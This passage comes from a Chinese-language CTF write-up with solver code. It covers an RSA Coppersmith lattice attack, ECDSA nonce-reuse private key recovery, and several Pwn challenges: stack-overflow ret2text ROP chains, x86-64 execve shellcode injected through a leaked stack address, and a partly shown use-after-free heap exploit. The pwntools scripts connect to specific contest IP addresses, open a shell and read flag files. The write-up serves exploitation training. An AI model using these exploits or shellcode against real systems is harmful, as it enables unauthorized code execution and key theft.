    return [[int(x) for x in row] for row in B]

# ------------------------------ challenge data ------------------------------
e = 3
n1 = 134590028715846226751903719587861090472772080921099504036178613989523328571021119450984313988905557385036821505121612368860436253713267192159612607745301358472400758433053304358101099945515440169672493726615122471822947908806960237079424527450364377187388434878044214423874958715687632702618242260038201552961
a1 = 173235201602700035769143714622479214858
b1 = 58616053309986169433995951615552358657183395855412447208282770965760612937595
c1 = 50192984704229516422576705848426706185707023557654942997226592852562126143797118081125527050565529571702518296053642057549607538952767595537352818598436177372629946093076195084953301667499579328461288560942915342433209991739202980657987347584757491195480319156057361829134996133204059551472598891366688783755

n2 = 68196420818362667184273231820367250019665598198220107894027697404250798750179650739212752171893537136631632644245299647403521159317636479179387396036378651369427323164026037204640004005081098772718308292781228113356944341374614054386589378286349095152732830327900238600877850386212764491160551279660914970501
a2 = 235763128007574771186749199470667788696
b2 = 82833393375329622580640447653813478693484654663680708964473557677310067110872
c2 = 58727033167047203506164797837999819283982869287436076252773072774355826490167620639330797956244757203726547611149611642979362714607329797512143580714003751905301065313982278186988038708909021000691905664629331025167676669052317049958574849948837597306860613961557323523558290710860835719858942854534226001532

n3 = 104197894722251549417361866562671346718448272653499933412399440512957241054274214931999347021968663121866250705242698152904168891226692027345376090411001289684534871464563352348782346283820734447304134789063563965860082130364230372312070163983650187312362722689902212270815366758596540699197732479604574605717
a3 = 289837185860108823269362666161877095653
b3 = 88038264202304767250178171651729306984925900158278305985019519489525502096874
c3 = 12441437714234741776087648075441633972630237216692770981303759863634569477393643678959437151894987980323367988780311101132662707086178418962311399292280866817688865303206505050428252909551141504556842671029262184318022978671849627397763537173137629868777942717009356259616195047064075877128354789683093509959

ns = [n1, n2, n3]
as_ = [a1, a2, a3]
bs = [b1, b2, b3]
cs = [c1, c2, c3]

# ---- 1. f_i(x) = (a_i x + b_i)^3 - c_i, normalised to monic mod n_i --------
monic = []
for n, a, b, c in zip(ns, as_, bs, cs):
    ia = pow(a, -1, n)
    f0 = ((b ** 3 - c) * pow(ia, 3, n)) % n
    f1 = (3 * b * b % n * pow(ia, 2, n)) % n
    f2 = (3 * b * ia) % n
    monic.append([f0, f1, f2, 1])

# ---- 2. CRT coefficients to N = n1 n2 n3 -----------------------------------
N = n1 * n2 * n3

def crt(vals, mods, M):
    r = 0
    for v, m_ in zip(vals, mods):
        Mi = M // m_
        r = (r + v * Mi * pow(Mi, -1, m_)) % M
    return r

F = [crt([p[k] for p in monic], ns, N) for k in range(4)]
assert F[3] == 1
print(&quot;F(x) computed (deg 3 monic mod N).&quot;)

# ---- 3. Howgrave-Graham lattice (d = 3, t = 1, dim = 4) --------------------
d, t = 3, 1
dim = d + t
X = 1 &amp;lt;&amp;lt; 300  # safe upper bound on m (m is ~256 bits)

B = [[0] * dim for _ in range(dim)]
for i in range(d):
    B[i][i] = N * (X ** i)
for j in range(t):
    for k in range(d + 1):
        col = j + k
        B[d + j][col] = F[k] * (X ** col)

print(f&quot;Running LLL on {dim}x{dim}...&quot;, flush=True)
red = lll(B, Q(3, 4))
print(&quot;LLL done.&quot;)

# Recover the integer polynomial g(x) from the shortest vector.
short = red[0]
g_coeffs = [short[j] // (X ** j) for j in range(dim)]
while g_coeffs and g_coeffs[-1] == 0:
    g_coeffs.pop()

def evalp(coefs, x):
    r = 0
    for c in reversed(coefs):
        r = r * x + c
    return r

# ---- 4. Find the integer root of g(x) --------------------------------------
xs = sympy.symbols(&quot;x&quot;)
poly = sympy.Poly(sum(c * xs ** i for i, c in enumerate(g_coeffs)), xs)
m = None
for r in poly.real_roots():
    try:
        ri = int(r)
    except (TypeError, ValueError):
        continue
    for cand in (ri - 1, ri, ri + 1):
        if cand &amp;gt; 0 and evalp(g_coeffs, cand) == 0:
            m = cand
            break
    if m is not None:
        break

assert m is not None, &quot;no integer root recovered&quot;
print(&quot;m =&quot;, m)
print(&quot;flag =&quot;, long_to_bytes(m))

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-43.png&quot; alt=&quot;Figure 43&quot; /&gt;&lt;/p&gt;
&lt;p&gt;flag{d3e053494a1280f3cff1c22c170069c0}&lt;/p&gt;
&lt;h2&gt;ECDSA nonce 重用&lt;/h2&gt;
&lt;h3&gt;题目截图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-44.png&quot; alt=&quot;Figure 44&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;challenge\.json&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;public_key_x&quot;: 82937147571408969267139200041203360936951744683871440166987788062427108593019,
  &quot;public_key_y&quot;: 15586372809254615553254077057166913120384173467039862910897487982227597191402,
  &quot;message1&quot;: &quot;57656c636f6d6520746f2074686520435446206368616c6c656e676521&quot;,
  &quot;message2&quot;: &quot;506c65617365207265636f766572207468652073656372657420666c61672e&quot;,
  &quot;signature1_r&quot;: 79013718241246135302610197377430012073343423894519665480327871129212060301075,
  &quot;signature1_s&quot;: 103286208825942613961036297876825547961346350046619406322280179767228016529778,
  &quot;signature2_r&quot;: 79013718241246135302610197377430012073343423894519665480327871129212060301075,
  &quot;signature2_s&quot;: 79104101230423979234833091375845809917052647390793147016296814906477227009899,
  &quot;curve&quot;: &quot;SECP256k1&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;`signature1_r == signature2_r`。在 ECDSA 中 `r = (k·G).x mod n`，两条不同消息的 `r` 完全相同，意味着签名时使用了 &lt;strong&gt;同一个 nonce `k`&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;ECDSA 签名公式（曲线阶为 &lt;code&gt;n&lt;/code&gt;，消息哈希为 &lt;code&gt;z&lt;/code&gt;，私钥为 &lt;code&gt;d&lt;/code&gt;）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s = k⁻¹ · (z + r·d)  (mod n)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当两条消息复用同一个 &lt;code&gt;k&lt;/code&gt;（因此 &lt;code&gt;r&lt;/code&gt; 相同）时：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s1 = k⁻¹ · (z1 + r·d)
s2 = k⁻¹ · (z2 + r·d)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;两式相减消去 &lt;code&gt;d&lt;/code&gt;，解出 &lt;code&gt;k&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s1 − s2 = k⁻¹ · (z1 − z2)
      k = (z1 − z2) · (s1 − s2)⁻¹   (mod n)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再代回任一式即可解出私钥 &lt;code&gt;d&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;d = (s1·k − z1) · r⁻¹   (mod n)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中 &lt;code&gt;z = SHA256\(message\) mod n&lt;/code&gt;（secp256k1 标准做法，消息为题目给出的 hex 串解码后再哈希）。&lt;/p&gt;
&lt;p&gt;恢复出的私钥（64 位 hex），Flag 末段取私钥 hex 的&lt;strong&gt;前 32 位&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;exp如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import json, hashlib

d = json.load(open(&apos;challenge.json&apos;))

# secp256k1 群阶 n
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

r  = d[&apos;signature1_r&apos;]
s1 = d[&apos;signature1_s&apos;]
s2 = d[&apos;signature2_s&apos;]

def H(hexmsg):
    return int.from_bytes(hashlib.sha256(bytes.fromhex(hexmsg)).digest(), &apos;big&apos;) % n

z1 = H(d[&apos;message1&apos;])
z2 = H(d[&apos;message2&apos;])

# 恢复 nonce k 与私钥 priv
k    = (z1 - z2) * pow(s1 - s2, -1, n) % n
priv = (s1 * k - z1) * pow(r, -1, n) % n

# 私钥转为 64 位 hex，不足补 0
priv_hex = f&quot;{priv:064x}&quot;

# 取前 32 个 hex 字符作为 flag 末段
flag = f&quot;flag{{ecdsa_nonce_reuse_{priv_hex[:32]}}}&quot;

print(flag)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;恢复出的私钥（64 位 hex）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a46b8f59aac5f0d5f1e661827c1cf3a7f536c9ce5a5d2452942215f16480d48b
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Flag 末段取私钥 hex 的&lt;strong&gt;前 32 位&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{ecdsa_nonce_reuse_a46b8f59aac5f0d5f1e661827c1cf3a7}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-45.png&quot; alt=&quot;Figure 45&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Pwn&lt;/h1&gt;
&lt;h2&gt;PWN-Authenticate&lt;/h2&gt;
&lt;h3&gt;题目截图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-46.png&quot; alt=&quot;Figure 46&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;对附件 &lt;code&gt;vuln&lt;/code&gt; 进行检查：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;checksec --file=./vuln
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结果要点如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;No PIE&lt;/code&gt;：程序基址固定，函数地址可直接使用&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;No canary found&lt;/code&gt;：栈上没有 canary，适合直接做栈溢出&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;程序未去符号：函数名可直接看到&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;同时在程序字符串中能直接看到几个关键信息：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;存在危险函数 &lt;code&gt;gets&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;存在 &lt;code&gt;system&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;存在 &lt;code&gt;/bin/sh&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;存在后门函数 &lt;code&gt;backdoor&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;说明这题的预期思路非常明确：利用 &lt;code&gt;gets\(\)&lt;/code&gt; 覆盖返回地址，跳转到程序自带后门。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-47.png&quot; alt=&quot;Figure 47&quot; /&gt;&lt;/p&gt;
&lt;p&gt;反汇编后可以看到 &lt;code&gt;login\(\)&lt;/code&gt; 和 &lt;code&gt;backdoor\(\)&lt;/code&gt; 两个关键函数。&lt;/p&gt;
&lt;p&gt;1.backdoor()&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void backdoor() {
    system(&quot;/bin/sh&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;后门函数的作用非常直接，就是弹 shell。&lt;/p&gt;
&lt;p&gt;2.login()&lt;/p&gt;
&lt;p&gt;核心逻辑大致如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void login() {
    char username[0x40];
    char password[0x80];

    puts(&quot;=== Welcome to SecureAuth System ===&quot;);
    printf(&quot;Username: &quot;);
    read(0, username, 0x40);
    printf(&quot;Password: &quot;);
    gets(password);

    if (!strcmp(username, &quot;admin&quot;)) {
        puts(&quot;Access Denied: Admin login is disabled.&quot;);
    } else {
        puts(&quot;Invalid credentials.&quot;);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-48.png&quot; alt=&quot;Figure 48&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里的漏洞点在：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gets(password);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;gets\(\)&lt;/code&gt; 不会检查输入长度，因此可以溢出覆盖保存的 &lt;code&gt;rbp&lt;/code&gt; 和返回地址。&lt;/p&gt;
&lt;p&gt;根据反汇编可知：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;password&lt;/code&gt; 位于 &lt;code&gt;rbp\-0x80&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;函数返回地址位于 &lt;code&gt;\[rbp\+8\]&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;因此从 &lt;code&gt;password&lt;/code&gt; 起始位置到返回地址的偏移为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0x80 + 0x8 = 0x88 = 136
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以 payload 的前 136 字节用于填充，后面覆盖返回地址。&lt;/p&gt;
&lt;p&gt;一开始如果直接把返回地址覆盖为 &lt;code&gt;backdoor\(\)&lt;/code&gt;，程序虽然会跳进去，但在执行 &lt;code&gt;system\(\&amp;amp;\#34;/bin/sh\&amp;amp;\#34;\)&lt;/code&gt; 时会因为栈未按 16 字节对齐而崩溃。&lt;/p&gt;
&lt;p&gt;这是因为在 x64 下调用某些 libc 函数时，对栈对齐有要求。&lt;/p&gt;
&lt;p&gt;因此需要先插入一个单独的 &lt;code&gt;ret&lt;/code&gt; gadget，把栈调整到正确对齐后，再跳转到 &lt;code&gt;backdoor\(\)&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;本题中可用地址为：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;ret&lt;/code&gt;：&lt;code&gt;0x40101a&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;backdoor&lt;/code&gt;：&lt;code&gt;0x4011f6&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;最终 ROP 链为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&apos;A&apos; * 136 + p64(0x40101a) + p64(0x4011f6)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;脚本如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context.log_level = &quot;info&quot;

HOST = &quot;120.27.146.76&quot;
PORT = 28517

p = remote(HOST, PORT)

p.recvuntil(b&quot;Username: &quot;)
p.send(b&quot;admin\x00&quot;)

p.recvuntil(b&quot;Password: &quot;)
payload = b&quot;A&quot; * 136
payload += p64(0x40101a)   # ret，对齐栈
payload += p64(0x4011f6)   # backdoor

p.sendline(payload)
p.sendline(b&quot;cat flag&quot;)

print(p.recvrepeat(2).decode(errors=&quot;ignore&quot;))

p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拿到flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-49.png&quot; alt=&quot;Figure 49&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;PWN-NoteService&lt;/h2&gt;
&lt;h3&gt;题目截图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-50.png&quot; alt=&quot;Figure 50&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;对附件程序 &lt;code&gt;vuln&lt;/code&gt; 做检查，可以得到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-51.png&quot; alt=&quot;Figure 51&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这说明：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;开启了 &lt;code&gt;NX&lt;/code&gt;，不能直接在栈上执行 shellcode；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;没有 &lt;code&gt;Canary&lt;/code&gt;，存在栈溢出时可以直接覆盖返回地址；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;没有 &lt;code&gt;PIE&lt;/code&gt;，程序基址固定，函数地址可直接使用；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;题目提示“利用程序自带后门函数实现 ret2text”，因此优先寻找隐藏函数。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;反汇编 &lt;code&gt;vuln&lt;/code&gt; 函数：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-52.png&quot; alt=&quot;Figure 52&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里定义了 &lt;code&gt;0x40&lt;/code&gt; 字节的栈缓冲区，但 &lt;code&gt;read\(0, buf, 0x100\)&lt;/code&gt; 却读入 &lt;code&gt;0x100&lt;/code&gt; 字节数据，明显可以覆盖保存的 &lt;code&gt;rbp&lt;/code&gt; 和返回地址，形成经典栈溢出。&lt;/p&gt;
&lt;p&gt;程序中存在隐藏函数 &lt;code&gt;secret\_note&lt;/code&gt;：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-53.png&quot; alt=&quot;Figure 53&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这正是题目要求的 &lt;code&gt;ret2text&lt;/code&gt; 目标函数。&lt;/p&gt;
&lt;p&gt;思路非常直接：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;用溢出覆盖返回地址；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;让程序返回到 &lt;code&gt;secret\_note\(\)&lt;/code&gt;；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;调用 &lt;code&gt;system\(\&amp;amp;\#34;/bin/sh\&amp;amp;\#34;\)&lt;/code&gt; 拿到 shell；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;通过 shell 读取 &lt;code&gt;/flag&lt;/code&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;栈布局如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;buf[0x40] + saved rbp[0x8] + ret addr[0x8]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以覆盖返回地址的偏移为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0x40 + 0x8 = 0x48 = 72
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果直接将返回地址覆盖成 &lt;code&gt;secret\_note&lt;/code&gt;，程序会在 &lt;code&gt;system\(\&amp;amp;\#34;/bin/sh\&amp;amp;\#34;\)&lt;/code&gt; 内部崩溃。&lt;/p&gt;
&lt;p&gt;原因是 &lt;code&gt;amd64&lt;/code&gt; 下调用某些 &lt;code&gt;libc&lt;/code&gt; 函数时需要满足 &lt;code&gt;16&lt;/code&gt; 字节栈对齐。这里直接 &lt;code&gt;ret&lt;/code&gt; 到后门函数会导致栈对齐不满足，从而在 &lt;code&gt;do\_system&lt;/code&gt; 中段错误。&lt;/p&gt;
&lt;p&gt;因此需要先跳一个单独的 &lt;code&gt;ret&lt;/code&gt; gadget 做对齐：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ret gadget:   0x40101a
secret_note:  0x401196
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最终利用链为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&apos;A&apos; * 72 + p64(0x40101a) + p64(0x401196)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;EXP如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

host = &quot;47.99.147.34&quot;
port = 21395

ret = 0x40101a
secret_note = 0x401196

payload = b&quot;A&quot; * 72 + p64(ret) + p64(secret_note)

p = remote(host, port)
p.recvuntil(b&quot;Leave your note:\n&quot;)
p.send(payload)

# 进入 /bin/sh 后读取 flag
p.sendline(b&quot;cat /flag&quot;)
p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拿到flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-54.png&quot; alt=&quot;Figure 54&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;PWN-MessageBoard&lt;/h2&gt;
&lt;h3&gt;题目截图&lt;/h3&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;文件检查&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ file vuln
ELF 64-bit LSB executable, x86-64, dynamically linked, not stripped

$ checksec vuln
Arch:   amd64-64-little
RELRO:  Partial RELRO
Stack:  No canary found       ← 无栈 canary，可以直接溢出
NX:     NX unknown (GNU_STACK missing)
PIE:    No PIE (0x400000)
Stack:  Executable             ← 栈可执行，能直接跳到 shellcode
RWX:    Has RWX segments
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;四大保护里关键的两个：没有 canary、栈可执行。结合&quot;程序主动泄露栈地址&quot;，结论就明摆着——往栈上写shellcode，把返回地址覆盖到 shellcode 起始。&lt;/p&gt;
&lt;p&gt;ida打开文件分析，main函数如下&lt;/p&gt;
&lt;p&gt;main 只是把 stdin/stdout/stderr 关掉缓冲然后调 vuln()。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-55.png&quot; alt=&quot;Figure 55&quot; /&gt;&lt;/p&gt;
&lt;p&gt;关键函数是vuln()&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-56.png&quot; alt=&quot;Figure 56&quot; /&gt;&lt;/p&gt;
&lt;p&gt;两个漏洞点合体：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;printf(&quot;Buffer at: %p&quot;, buf) —— 直接泄露 buf 在栈上的地址，绕过 ASLR；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;read(0, buf, 0x100) —— 缓冲区只有 0x80（128）字节，却允许写 0x100（256）字节，足够把 saved RBP 和返回地址都覆盖掉。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;漏洞利用思路&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;栈布局（从低地址到高地址）：

[ buf 起始 (0x80=128 字节) ][ saved RBP (8) ][ return addr (8) ][ ... ]
          ↑
       buf 地址（被泄露）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;利用步骤：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;接收 Buffer at: 0x... 的输出，解析得到 buf 的栈地址。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;构造 payload：&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;前 0x80 字节填 shellcode（不足用 &apos;a&apos; 填到 0x88，覆盖 saved RBP）；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;接下来 8 字节写 p64(buf)，把返回地址改成 shellcode 起始地址；&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;vuln() 函数 leave; ret 时，从 buf（也就是 shellcode）开始执行，拿到 shell。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;偏移计算：buf 在 rbp-0x80，所以 buf -&amp;gt; saved RBP 距离是 0x80，再加 8 字节 saved RBP 就是返回地址，所以 shellcode后总共填到 0x88 字节再追加返回地址。&lt;/p&gt;
&lt;p&gt;解题脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&quot;amd64&quot;, os=&quot;linux&quot;, log_level=&quot;info&quot;)

p = remote(&quot;120.27.146.76&quot;, 20056)

shellcode = (
    b&quot;\x48\x31\xf6&quot;
    b&quot;\x56&quot;
    b&quot;\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68&quot;
    b&quot;\x57&quot;
    b&quot;\x54&quot;
    b&quot;\x5f&quot;
    b&quot;\xb0\x3b&quot;
    b&quot;\x99&quot;
    b&quot;\x0f\x05&quot;
)

p.recvuntil(b&apos;0x&apos;)
buf = int(p.recv(12), 16)
log.info(&quot;buf: &quot; + hex(buf))

payload = shellcode.ljust(0x88, b&apos;a&apos;)
payload += p64(buf)

p.sendlineafter(b&quot;Message: &quot;, payload)

# 列根目录、找 flag 文件
p.sendline(b&quot;ls / 2&amp;gt;&amp;amp;1; ls -la /flag* /home /tmp 2&amp;gt;&amp;amp;1; find / -maxdepth 3 -iname &apos;flag*&apos; 2&amp;gt;/dev/null&quot;)
p.sendline(b&quot;cat /flag 2&amp;gt;&amp;amp;1&quot;)
p.sendline(b&quot;cat /flag.txt 2&amp;gt;&amp;amp;1&quot;)
p.sendline(b&quot;exit&quot;)
print(p.recvall(timeout=6).decode(errors=&quot;replace&quot;))

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-57.png&quot; alt=&quot;Figure 57&quot; /&gt;&lt;/p&gt;
&lt;p&gt;flag{985511156b8b35d5df4a1cad23ca4603}&lt;/p&gt;
&lt;h2&gt;PWN-UserManager&lt;/h2&gt;
&lt;h3&gt;题目截图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-58.png&quot; alt=&quot;Figure 58&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;题目实现了一个简易用户系统，提供四个基础功能：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;register&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;login&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;delete&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;edit&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;从功能上看只是普通的用户管理程序，但在堆对象释放和后续访问逻辑上存在明显缺陷。程序删除用户时虽然释放了对应堆块，却没有同步清空全局用户表中的指针，最终形成了一个可利用的 &lt;strong&gt;Use-After-Free&lt;/strong&gt;。在此基础上，再结合堆块复用和登录逻辑中的函数指针调用，可以逐步完成地址泄露、基址计算以及控制流劫持。&lt;/p&gt;
&lt;p&gt;最终目标是把悬垂的用户对象伪造成一个 fake object，使程序在 &lt;code&gt;login&lt;/code&gt; 阶段执行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;system(&quot;/bin/sh&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;并进一步读出 flag。&lt;/p&gt;
&lt;p&gt;在此基础上，通过重新申请合适大小的堆块，可以使新用户的密码区复用原用户结构体所在的 chunk，从而借助 &lt;code&gt;edit&lt;/code&gt; 间接改写悬垂用户对象内容。结合 &lt;code&gt;login&lt;/code&gt; 中对函数指针的调用，最终可实现控制流劫持。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-59.png&quot; alt=&quot;Figure 59&quot; /&gt;&lt;/p&gt;
&lt;p&gt;利用思路如下：&lt;/p&gt;
&lt;p&gt;1.构造堆重叠&lt;/p&gt;
&lt;p&gt;先注册两个用户，再依次删除。由于旧指针仍保留在 &lt;code&gt;users&lt;/code&gt; 表中，随后注册新用户时，其密码块可复用原先用户结构体所在内存区域。这样，对新用户执行 &lt;code&gt;edit&lt;/code&gt;，实际上即可改写旧用户对象。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-60.png&quot; alt=&quot;Figure 60&quot; /&gt;&lt;/p&gt;
&lt;p&gt;2.构造 &lt;code&gt;strcmp&lt;/code&gt; oracle&lt;/p&gt;
&lt;p&gt;通过伪造悬垂对象中的指针字段，使 &lt;code&gt;login&lt;/code&gt; 过程中 &lt;code&gt;strcmp&lt;/code&gt; 比较目标可控。根据登录成功或失败的返回结果，可以逐字节枚举目标地址内容。&lt;/p&gt;
&lt;p&gt;利用该 oracle：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;先恢复 &lt;code&gt;show&lt;/code&gt; 函数指针，计算程序基址（PIE）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;再读取 &lt;code&gt;puts@GOT&lt;/code&gt;，恢复 libc 基址&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;3.劫持控制流&lt;/p&gt;
&lt;p&gt;得到 libc 基址后，进一步计算出 &lt;code&gt;system&lt;/code&gt; 和 &lt;code&gt;\&amp;amp;\#34;/bin/sh\&amp;amp;\#34;&lt;/code&gt; 的实际地址。随后将悬垂用户对象伪造成：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;pass\_ptr \-\&amp;amp;gt; \&amp;amp;\#34;/bin/sh\&amp;amp;\#34;&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;show\_ptr \-\&amp;amp;gt; system&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
